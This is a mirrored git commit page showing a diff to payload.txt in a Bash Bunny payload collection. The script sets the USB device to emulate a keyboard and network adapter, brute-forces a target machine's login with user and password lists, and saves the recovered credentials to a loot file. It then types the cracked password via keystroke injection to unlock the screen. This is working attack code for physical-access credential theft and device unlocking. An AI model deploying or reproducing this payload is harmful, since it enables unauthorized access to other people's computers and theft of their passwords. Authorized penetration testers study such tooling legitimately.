mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Update payload.txt
This commit is contained in:
parent
072c659943
commit
0068cfccd5
@ -5,13 +5,13 @@
|
||||
# PS: This is the shittiest bash script you'll ever see :D
|
||||
|
||||
password_process_file="$ORIGINAL_SWITCH/ppf.txt"
|
||||
password_to_quack="$ORIGINAL_SWITCH/p2q.txt"
|
||||
password_loot_file="$ORIGINAL_SWITCH/credentials.txt"
|
||||
user_bruteforce_list="$ORIGINAL_SWITCH/userlist.txt"
|
||||
pass_bruteforce_list="$ORIGINAL_SWITCH/passlist.txt"
|
||||
|
||||
# Setup
|
||||
LED SETUP
|
||||
CUCUMBER PLAID
|
||||
ATTACKMODE HID RNDIS_ETHERNET
|
||||
mount /dev/nandf /root/udisk/
|
||||
GET TARGET_IP
|
||||
@ -33,15 +33,18 @@ LED G
|
||||
# Extract and Store the loot, then quack it
|
||||
pass=$(cat $password_process_file | grep "./" | cut -d "/" -f 2 | cut -d ":" -f 2)
|
||||
echo "Machine: $TARGET_HOSTNAME - User: $user - Pass: $pass" >> $password_loot_file
|
||||
echo "STRING $pass" > $password_to_quack
|
||||
sync
|
||||
QUACK $password_to_quack
|
||||
|
||||
# Waking up the screen if sleeping, if not, pressing "ESC" won't affect anything
|
||||
QUACK ESC
|
||||
sleep 1
|
||||
QUACK STRING $pass
|
||||
sleep 1
|
||||
QUACK ENTER
|
||||
rm $password_to_quack 2> /dev/null
|
||||
else
|
||||
LED FAIL
|
||||
fi
|
||||
|
||||
# Finishing
|
||||
LED CLEANUP
|
||||
sync; sleep 1; sync
|
||||
LED FINISH
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user